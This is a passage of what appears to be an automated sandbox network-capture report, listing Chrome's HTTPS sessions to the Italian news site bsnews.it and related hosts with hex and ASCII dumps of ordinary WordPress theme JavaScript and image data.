nce.wrap[0].ownerDocument;b=b.defaultView\|\|b.parentWindow;b!==b.parent&&(b=b.top,jQuery("#"+a.attr("id"),b.document.body).length&&jQuery("html",b.document).css({overflow:""}))},afterClose:function(){var a=jQuery.magnificPopup.instance.wrap[0].ownerDocumen
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 6c 6f 77 5f 73 63 72 6f 6c 6c 3d 21 31 3b 74 64 55 74 69 6c 2e 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 65 77 28 77 69 6e 64 6f 77 2e 74 64 4d 6f 64 61 6c 49 6d 61 67 65 4c 61 73 74 45 6c 29 3b 76 61 72 20 61 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 49 73 53 63 72 6f 6c 6c 69 6e 67 41 6e 69 6d 61 74 69 6f 6e 7c 7c 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 61 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 64 41 66 66 69 78 2e 61 6c 6c 6f 77 5f 73 63 72 6f 6c 6c 3d 21 30 7d 2c 31 30 30 29 29 7d 2c 31 30 30 29 7d 7d 7d 29 3b 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 6a 65 74 70 61 63 6b 43 61 72 6f 75 73 65 6c 53 74 72 69 6e 67 73 26 26 28 6a 51 75 65 72 79 28 22 66 69 67 75 Data Ascii: low_scroll=!1;tdUtil.scrollIntoView(window.tdModalImageLastEl);var a=setInterval(function(){tdIsScrollingAnimation\|\|(clearInterval(a),setTimeout(function(){tdAffix.allow_scroll=!0},100))},100)}}});"undefined"===typeof jetpackCarouselStrings&&(jQuery("figu
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 65 77 28 77 69 6e 64 6f 77 2e 74 64 4d 6f 64 61 6c 49 6d 61 67 65 4c 61 73 74 45 6c 29 7d 7d 7d 29 2c 6a 51 75 65 72 79 28 22 2e 67 61 6c 6c 65 72 79 22 29 2e 6d 61 67 6e 69 66 69 63 50 6f 70 75 70 28 7b 74 79 70 65 3a 22 69 6d 61 67 65 22 2c 64 65 6c 65 67 61 74 65 3a 22 2e 67 61 6c 6c 65 72 79 2d 69 63 6f 6e 20 3e 20 61 22 2c 67 61 6c 6c 65 72 79 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 74 50 72 65 76 3a 74 64 55 74 69 6c 2e 67 65 74 42 61 63 6b 65 6e 64 56 61 72 28 22 74 64 5f 6d 61 67 6e 69 66 69 63 5f 70 6f 70 75 70 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 5f 74 50 72 65 76 22 29 2c 74 4e 65 78 74 3a 74 64 55 74 69 6c 2e 67 65 74 42 61 63 6b 65 6e 64 56 61 72 28 22 74 64 5f 6d 61 67 6e 69 66 69 63 5f 70 6f 70 75 70 5f 74 Data Ascii: scrollIntoView(window.tdModalImageLastEl)}}}),jQuery(".gallery").magnificPopup({type:"image",delegate:".gallery-icon > a",gallery:{enabled:!0,tPrev:tdUtil.getBackendVar("td_magnific_popup_translation_tPrev"),tNext:tdUtil.getBackendVar("td_magnific_popup_t
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 61 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 26 26 28 64 3d 21 30 2c 6a 51 75 65 72 79 28 22 68 74 6d 6c 22 2c 62 2e 64 6f 63 75 6d 65 6e 74 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 61 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 29 29 3b 61 3d 7b 68 65 69 67 68 74 3a 63 2e 68 65 69 67 68 74 28 29 2b 28 74 64 44 65 74 65 63 74 2e 69 73 4d 6f 62 69 6c 65 44 65 76 69 63 65 3f 31 30 30 3a 30 29 2c 74 6f 70 3a 64 3f 30 3a 63 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 2d 61 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 2c 6f 76 65 72 66 6c 6f 77 3a 22 68 69 64 64 65 6e 22 7d 3b 6a 51 75 65 72 79 2e 6d 61 67 6e 69 66 69 63 50 6f 70 75 70 2e 69 6e 73 74 61 6e 63 65 2e 77 72 61 70 2e 63 73 73 28 61 29 3b 6a 51 75 65 72 79 2e 6d 61 67 6e 69 66 69 63 50 6f 70 75 70 2e 69 6e 73 74 61 6e 63 65 Data Ascii: a.offset().top&&(d=!0,jQuery("html",b.document).scrollTop(a.offset().top));a={height:c.height()+(tdDetect.isMobileDevice?100:0),top:d?0:c.scrollTop()-a.offset().top,overflow:"hidden"};jQuery.magnificPopup.instance.wrap.css(a);jQuery.magnificPopup.instance
2024-03-28 08:51:03 UTC	28	IN	Data Raw: 73 73 28 7b 76 69 73 69 62 69 6c 69 74 79 3a 22 22 7d 29 7d 7d 7d 29 29 7d 3b 0d 0a Data Ascii: ss({visibility:""})}}}))};
2024-03-28 08:51:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49795	192.0.73.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	625	OUT	GET /avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g HTTP/1.1 Host: secure.gravatar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	532	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: image/jpeg Content-Length: 1528 Connection: close Last-Modified: Mon, 31 Oct 2016 12:00:47 GMT Link: <https://gravatar.com/avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g>; rel="canonical" Access-Control-Allow-Origin: * Content-Disposition: inline; filename="45a1676121b18dd38477fabfbc32859b.png" Expires: Thu, 28 Mar 2024 08:56:03 GMT Cache-Control: max-age=300 X-nc: HIT dca 4 Alt-Svc: h3=":443"; ma=86400 Accept-Ranges: bytes
2024-03-28 08:51:03 UTC	837	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3b 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 36 32 29 2c 20 71 75 61 6c 69 74 79 20 3d 20 39 30 0a ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 60 00 60 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 Data Ascii: JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90CC``"
2024-03-28 08:51:03 UTC	691	IN	Data Raw: 6d 0d bb 7f 7e 19 18 11 f8 12 47 e9 5e 7f e2 cf 86 f7 9e 1f 8d ee ad 5c de d9 2f 2c 40 c3 c6 3d c7 71 ee 2b da 3f cf 5a 08 0c 08 38 20 f5 06 80 3e 66 a2 ba cf 88 de 18 4f 0f 6b 02 4b 75 0b 67 74 0b a2 8e 88 df c4 bf a8 3f 8d 72 54 00 b4 52 7f 9e 94 50 01 45 14 b4 00 95 ec 3f 08 6d 56 2f 0e 4f 30 1f 3c b7 0d 93 ec 00 00 7f 3f ce bc 7a bd 6b e0 f6 a0 b2 e9 17 96 64 8f 32 19 bc cc 7f b2 c0 0f e6 a7 f3 a0 0f 41 a2 93 fc f4 a2 80 16 8a 4a 3f cf 4a 00 e2 be 2d da ac de 18 49 48 f9 a1 9d 48 3e c4 10 47 ea 3f 2a f1 aa f5 ef 8b fa 82 c1 a1 5b 5a 02 3c c9 e6 dd 8f f6 54 1c fe a4 57 91 50 02 7f 9e b4 52 d1 40 09 45 1d a8 a0 02 b6 3c 27 e2 29 3c 33 ac 45 76 80 bc 47 e4 96 30 7e f2 1e bf 8f 71 f4 ac 8a d1 d0 bc 3b 7d e2 3b af 22 ca 12 e4 7d f9 1b 84 41 ea 4d 00 7d 01 Data Ascii: m~G^\/,@=q+?Z8 >fOkKugt?rTRPE?mV/O0<?zkd2AJ?J-IHH>G?*[Z<TWPR@E<')<3EvG0~q;};"}AM}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49793	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	687	OUT	GET /wp-content/plugins/td-cloud-library/assets/js/js_files_for_front.min.js?ver=be262a20ca49ba5e513ad6176c77b975 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	693	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close last-modified: Wed, 13 Mar 2024 20:02:13 GMT etag: W/"65f20645-73a8" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 268 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D5QKYt2P19gJIJchz3inJwNv1kQWJVbNYZqoVPurQcRDcJjd0Zn15hCcWQm9e6ccRGYDmjUKjpEEzrI6PmldT2TTnlrO3%2FlQSzgsk%2FbXwWXm0mAc3Wqh35E0nuw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6604a2c8537fa-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:03 UTC	676	IN	Data Raw: 37 33 61 38 0d 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 74 64 63 50 6f 73 74 53 65 74 74 69 6e 67 73 26 26 28 77 69 6e 64 6f 77 2e 74 64 63 50 6f 73 74 53 65 74 74 69 6e 67 73 3d 7b 74 64 62 54 65 6d 70 6c 61 74 65 54 79 70 65 3a 22 61 6c 6c 22 7d 29 3b 69 66 28 77 69 6e 64 6f 77 2e 74 64 62 56 75 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 74 64 62 56 75 65 2e 72 6f 75 74 65 72 29 7b 76 61 72 20 65 76 65 6e 74 48 75 62 3d 6e 65 77 20 43 6c 6f 75 64 4c 69 62 72 61 72 79 56 75 65 3b 43 6c 6f 75 64 4c 69 62 72 61 72 79 56 75 65 2e 63 6f 6d 70 6f 6e 65 6e 74 28 22 69 6d 61 67 65 2d 6c 69 6e 6b 73 22 2c 7b 74 65 6d 70 6c 61 74 65 3a 27 5c 6e 20 20 20 20 20 20 20 20 Data Ascii: 73a8"undefined"===typeof window.tdcPostSettings&&(window.tdcPostSettings={tdbTemplateType:"all"});if(window.tdbVue&&"undefined"!==typeof window.tdbVue.router){var eventHub=new CloudLibraryVue;CloudLibraryVue.component("image-links",{template:'\n
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 65 2e 64 61 74 61 28 22 74 64 62 2d 74 65 6d 70 6c 61 74 65 73 22 29 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 67 26 26 67 2e 63 61 6c 6c 28 29 2c 74 64 62 47 65 74 4d 6f 62 69 6c 65 54 65 6d 70 6c 61 74 65 73 28 61 2c 62 2c 65 29 2c 67 3d 22 22 2c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 3d 74 79 70 65 6f 66 20 74 64 63 53 74 61 74 65 26 26 28 67 3d 74 64 63 53 74 61 74 65 2e 69 73 4d 6f 62 69 6c 65 43 6f 6d 70 6f 73 65 72 28 29 3f 22 31 22 3a 22 22 29 2c 67 3d 7b 61 63 74 69 6f 6e 3a 22 74 64 62 5f 67 65 74 5f 22 2b 61 2b 22 5f 74 65 6d 70 6c 61 74 65 73 22 2c 6d 6f 62 69 6c 65 5f 74 65 6d 70 6c 61 74 65 73 3a 67 2c 5f 6e 6f 6e 63 65 3a 77 69 6e 64 6f 77 2e 74 64 62 5f 67 6c 6f 62 61 Data Ascii: ned"===typeof e.data("tdb-templates")&&("undefined"!==typeof g&&g.call(),tdbGetMobileTemplates(a,b,e),g="","undefined"!==typeof tdcState&&(g=tdcState.isMobileComposer()?"1":""),g={action:"tdb_get_"+a+"_templates",mobile_templates:g,_nonce:window.tdb_globa
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 68 69 73 20 74 65 6d 70 6c 61 74 65 20 66 6f 72 20 74 68 65 20 22 2b 65 2e 63 70 74 2e 6c 61 62 65 6c 2b 22 20 63 75 73 74 6f 6d 20 70 6f 73 74 20 74 79 70 65 22 2c 67 3d 0a 27 20 64 61 74 61 2d 63 70 74 3d 22 27 2b 65 2e 63 70 74 2e 6e 61 6d 65 2b 27 22 27 29 3a 6b 3d 65 2e 74 65 6d 70 6c 61 74 65 5f 74 69 74 6c 65 2b 22 20 2d 20 53 65 74 20 74 68 69 73 20 74 65 6d 70 6c 61 74 65 20 66 6f 72 20 70 6f 73 74 20 73 65 61 72 63 68 20 72 65 73 75 6c 74 73 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 77 6f 6f 5f 70 72 6f 64 75 63 74 22 3a 6b 3d 65 2e 74 65 6d 70 6c 61 74 65 5f 74 69 74 6c 65 2b 22 20 2d 20 53 65 74 20 74 65 6d 70 6c 61 74 65 20 66 6f 72 20 74 68 69 73 20 70 72 6f 64 75 63 74 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 77 6f 6f 5f 61 72 63 68 69 76 Data Ascii: his template for the "+e.cpt.label+" custom post type",g=' data-cpt="'+e.cpt.name+'"'):k=e.template_title+" - Set this template for post search results";break;case "woo_product":k=e.template_title+" - Set template for this product";break;case "woo_archiv
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 66 20 66 26 26 22 22 21 3d 3d 66 26 26 28 6b 3d 27 64 61 74 61 2d 67 6c 6f 62 61 6c 2d 61 63 74 69 6f 6e 3d 22 27 2b 66 2b 27 22 27 29 2c 68 2b 3d 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 64 62 2d 74 65 6d 70 6c 61 74 65 2d 65 6c 2d 67 6c 6f 62 61 6c 20 74 64 62 2d 27 2b 61 2b 27 2d 74 65 6d 70 6c 61 74 65 2d 67 6c 6f 62 61 6c 22 20 74 69 74 6c 65 3d 22 53 65 74 20 61 73 20 47 6c 6f 62 61 6c 20 54 65 6d 70 6c 61 74 65 22 20 64 61 74 61 2d 74 79 70 65 3d 22 27 2b 61 2b 27 22 20 64 61 74 61 2d 27 2b 61 2b 27 2d 69 64 3d 22 27 2b 62 2b 27 22 20 64 61 74 61 2d 74 65 6d 70 6c 61 74 65 2d 69 64 3d 22 27 2b 65 2e 74 65 6d 70 6c 61 74 65 5f 69 64 2b 27 22 20 27 2b 6b 2b 67 2b 27 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 63 6c 61 73 Data Ascii: f f&&""!==f&&(k='data-global-action="'+f+'"'),h+='<div class="tdb-template-el-global tdb-'+a+'-template-global" title="Set as Global Template" data-type="'+a+'" data-'+a+'-id="'+b+'" data-template-id="'+e.template_id+'" '+k+g+'><input type="checkbox" clas
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 64 26 26 21 30 3d 3d 3d 64 26 26 28 70 2b 3d 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 64 62 2d 74 65 6d 70 6c 61 74 65 2d 65 6c 20 74 64 62 2d 27 2b 61 2b 22 2d 74 65 6d 70 6c 61 74 65 2d 65 6c 20 22 2b 28 6d 3f 22 22 3a 22 74 64 62 2d 63 75 72 72 65 6e 74 22 29 2b 27 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 64 62 2d 74 65 6d 70 6c 61 74 65 2d 65 6c 2d 69 64 20 74 64 62 2d 27 2b 61 2b 27 2d 74 65 6d 70 6c 61 74 65 2d 69 64 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 64 62 2d 74 65 6d 70 6c 61 74 65 2d 65 6c 2d 74 69 74 6c 65 22 20 64 61 74 61 2d 74 79 70 65 3d 22 27 2b 0a 61 2b 27 22 20 64 61 74 61 2d 61 63 74 69 6f 6e 3d 22 27 2b 63 2b 27 22 20 74 69 74 6c 65 3d 22 53 65 74 20 61 73 20 47 6c 6f 62 61 6c Data Ascii: ==typeof d&&!0===d&&(p+='<div class="tdb-template-el tdb-'+a+"-template-el "+(m?"":"tdb-current")+'"><div class="tdb-template-el-id tdb-'+a+'-template-id"></div><div class="tdb-template-el-title" data-type="'+a+'" data-action="'+c+'" title="Set as Global
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 22 29 3f 28 61 3d 7b 77 70 5f 74 79 70 65 3a 22 73 69 6e 67 6c 65 22 2c 74 65 6d 70 6c 61 74 65 54 79 70 65 3a 22 53 69 6e 67 6c 65 22 7d 2c 62 3d 63 2e 73 70 6c 69 74 28 22 20 22 29 5b 30 5d 2e 72 65 70 6c 61 63 65 28 22 73 69 6e 67 6c 65 69 64 2d 22 2c 22 22 29 2c 64 3f 61 2e 61 73 73 69 67 6e 5f 6d 6f 62 69 6c 65 5f 74 6f 5f 74 65 6d 70 6c 61 74 65 3d 62 3a 61 2e 61 73 73 69 67 6e 5f 74 6f 5f 70 6f 73 74 3d 62 29 3a 30 3d 3d 3d 63 2e 69 6e 64 65 78 4f 66 28 22 63 61 74 65 67 6f 72 79 69 64 2d 22 29 3f 28 61 3d 7b 77 70 5f 74 79 70 65 3a 22 63 61 74 65 67 6f 72 79 22 2c 74 65 6d 70 6c 61 74 65 54 79 70 65 3a 22 43 61 74 65 67 6f 72 79 22 7d 2c 62 3d 63 2e 73 70 6c 69 74 28 22 20 22 29 5b 30 5d 2e 72 65 70 6c 61 63 65 28 22 63 61 74 65 67 6f 72 79 69 64 Data Ascii: ")?(a={wp_type:"single",templateType:"Single"},b=c.split(" ")[0].replace("singleid-",""),d?a.assign_mobile_to_template=b:a.assign_to_post=b):0===c.indexOf("categoryid-")?(a={wp_type:"category",templateType:"Category"},b=c.split(" ")[0].replace("categoryid
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 65 6d 70 6c 61 74 65 3d 62 29 29 3a 30 3d 3d 3d 63 2e 69 6e 64 65 78 4f 66 28 22 77 6f 6f 5f 70 72 6f 64 75 63 74 69 64 2d 22 29 3f 0a 28 61 3d 7b 77 70 5f 74 79 70 65 3a 22 77 6f 6f 5f 70 72 6f 64 75 63 74 22 2c 74 65 6d 70 6c 61 74 65 54 79 70 65 3a 22 57 6f 6f 20 50 72 6f 64 75 63 74 22 7d 2c 62 3d 63 2e 73 70 6c 69 74 28 22 20 22 29 5b 30 5d 2e 72 65 70 6c 61 63 65 28 22 77 6f 6f 5f 70 72 6f 64 75 63 74 69 64 2d 22 2c 22 22 29 2c 64 3f 61 2e 61 73 73 69 67 6e 5f 6d 6f 62 69 6c 65 5f 74 6f 5f 74 65 6d 70 6c 61 74 65 3d 62 3a 61 2e 61 73 73 69 67 6e 5f 74 6f 5f 77 6f 6f 5f 70 72 6f 64 75 63 74 3d 62 29 3a 30 3d 3d 3d 63 2e 69 6e 64 65 78 4f 66 28 22 77 6f 6f 5f 61 72 63 68 69 76 65 22 29 3f 28 61 3d 7b 77 70 5f 74 79 70 65 3a 22 77 6f 6f 5f 61 72 63 68 Data Ascii: emplate=b)):0===c.indexOf("woo_productid-")?(a={wp_type:"woo_product",templateType:"Woo Product"},b=c.split(" ")[0].replace("woo_productid-",""),d?a.assign_mobile_to_template=b:a.assign_to_woo_product=b):0===c.indexOf("woo_archive")?(a={wp_type:"woo_arch
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 2c 63 61 6c 6c 62 61 63 6b 59 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 6a 51 75 65 72 79 28 22 23 74 64 62 2d 6e 65 77 2d 74 65 6d 70 6c 61 74 65 2d 6e 61 6d 65 22 29 2c 67 3d 6a 51 75 65 72 79 28 22 23 74 64 62 2d 63 6f 70 79 2d 63 6f 6e 74 65 6e 74 22 29 3b 6a 51 75 65 72 79 2e 61 6a 61 78 28 7b 74 79 70 65 3a 22 50 4f 53 54 22 2c 75 72 6c 3a 74 64 5f 61 6a 61 78 5f 75 72 6c 2c 64 61 74 61 3a 7b 61 63 74 69 6f 6e 3a 22 74 64 62 5f 63 72 65 61 74 65 5f 6d 6f 62 69 6c 65 5f 74 65 6d 70 6c 61 74 65 22 2c 74 65 6d 70 6c 61 74 65 5f 69 64 3a 63 2c 74 65 6d 70 6c 61 74 65 5f 74 69 74 6c 65 3a 61 2e 76 61 6c 28 29 2c 0a 74 65 6d 70 6c 61 74 65 5f 74 79 70 65 3a 64 2c 63 6f 70 79 43 6f 6e 74 65 6e 74 3a 67 2e 69 73 28 22 3a 63 68 65 63 6b 65 Data Ascii: ,callbackYes:function(){var a=jQuery("#tdb-new-template-name"),g=jQuery("#tdb-copy-content");jQuery.ajax({type:"POST",url:td_ajax_url,data:{action:"tdb_create_mobile_template",template_id:c,template_title:a.val(),template_type:d,copyContent:g.is(":checke
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 62 5f 74 65 6d 70 6c 61 74 65 5f 34 30 34 20 3e 20 61 2c 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 74 64 62 5f 74 65 6d 70 6c 61 74 65 5f 64 61 74 65 20 3e 20 61 2c 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 74 64 62 5f 74 65 6d 70 6c 61 74 65 5f 73 65 61 72 63 68 20 3e 20 61 2c 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 74 64 62 5f 74 65 6d 70 6c 61 74 65 5f 61 74 74 61 63 68 6d 65 6e 74 20 3e 20 61 2c 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 74 64 62 5f 74 65 6d 70 6c 61 74 65 5f 61 75 74 68 6f 72 20 3e 20 61 2c 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 74 64 62 5f 74 65 6d 70 6c 61 74 65 5f 74 61 67 20 3e 20 61 2c 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 74 64 62 5f 74 65 6d 70 6c 61 74 65 5f 77 6f 6f 5f 70 72 6f 64 75 63 74 20 3e 20 Data Ascii: b_template_404 > a, #wp-admin-bar-tdb_template_date > a, #wp-admin-bar-tdb_template_search > a, #wp-admin-bar-tdb_template_attachment > a, #wp-admin-bar-tdb_template_author > a, #wp-admin-bar-tdb_template_tag > a, #wp-admin-bar-tdb_template_woo_product >
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 74 5f 74 65 6d 70 6c 61 74 65 5f 67 6c 6f 62 61 6c 22 3b 68 3d 22 22 3b 65 3d 64 2e 72 65 70 6c 61 63 65 28 22 74 65 6d 70 6c 61 74 65 69 64 2d 22 2c 22 22 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 74 64 62 5f 74 65 6d 70 6c 61 74 65 5f 61 75 74 68 6f 72 22 3a 66 3d 22 61 75 74 68 6f 72 22 3b 67 3d 22 74 64 62 5f 61 73 73 69 67 6e 5f 61 75 74 68 6f 72 5f 74 65 6d 70 6c 61 74 65 5f 74 6f 5f 61 75 74 68 6f 72 22 3b 0a 68 3d 22 74 64 62 5f 61 73 73 69 67 6e 5f 61 75 74 68 6f 72 5f 74 65 6d 70 6c 61 74 65 5f 67 6c 6f 62 61 6c 22 3b 65 3d 64 2e 72 65 70 6c 61 63 65 28 66 2b 22 69 64 2d 22 2c 22 22 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 74 64 62 5f 74 65 6d 70 6c 61 74 65 5f 74 61 Data Ascii: t_template_global";h="";e=d.replace("templateid-","");break;case "wp-admin-bar-tdb_template_author":f="author";g="tdb_assign_author_template_to_author";h="tdb_assign_author_template_global";e=d.replace(f+"id-","");break;case "wp-admin-bar-tdb_template_ta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49796	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	653	OUT	GET /bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=218%2C150&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	585	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: image/webp Content-Length: 7140 Connection: close Last-Modified: Sun, 24 Mar 2024 12:47:16 GMT Expires: Wed, 25 Mar 2026 00:47:16 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "7f83f7119ca4803b" Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:03 UTC	784	IN	Data Raw: 52 49 46 46 dc 1b 00 00 57 45 42 50 56 50 38 20 d0 1b 00 00 70 6a 00 9d 01 2a da 00 96 00 3e 95 3c 96 48 25 a3 22 21 2f 57 2e 70 b0 12 89 65 00 c5 fc 9c 4d 0b 1a 9f 5d 7d ad b2 e3 92 d7 8b 78 9d e8 cc 17 8e 2f b2 9f f7 9d fa f0 0b c6 0e ca c0 13 dd 95 37 df aa 68 4e ff 8b c4 ce 81 5f a7 fd 64 7b f4 ff 03 ff 9b d8 4f fb 8f 53 d3 f2 9c de 47 1f d8 f6 9d 41 50 22 f3 02 be e3 a5 a5 79 25 4c 66 08 1c b7 de 28 96 a6 e1 39 34 b2 b6 c2 65 b2 96 cc d2 20 77 a3 57 24 e2 9d ea 08 f2 20 fb 5f 22 1f 1a 99 ae a5 05 bc 2e f1 f5 50 b3 51 41 d6 ca d0 58 a6 44 80 03 d5 70 59 2c 75 fb fb f0 b4 d0 c3 bb a4 fa e6 1f 3c bd 1f 39 55 a3 91 c0 9b 46 97 9b 44 87 9e 49 52 82 81 5d 3d 30 66 cf da 5a c8 28 27 fa c0 fb d3 1b 59 16 64 99 a6 38 c1 82 83 8f 44 68 18 11 f5 87 2b bf f5 0b Data Ascii: RIFFWEBPVP8 pj*><H%"!/W.peM]}x/7hN_d{OSGAP"y%Lf(94e wW$ _".PQAXDpY,u<9UFDIR]=0fZ('Yd8Dh+
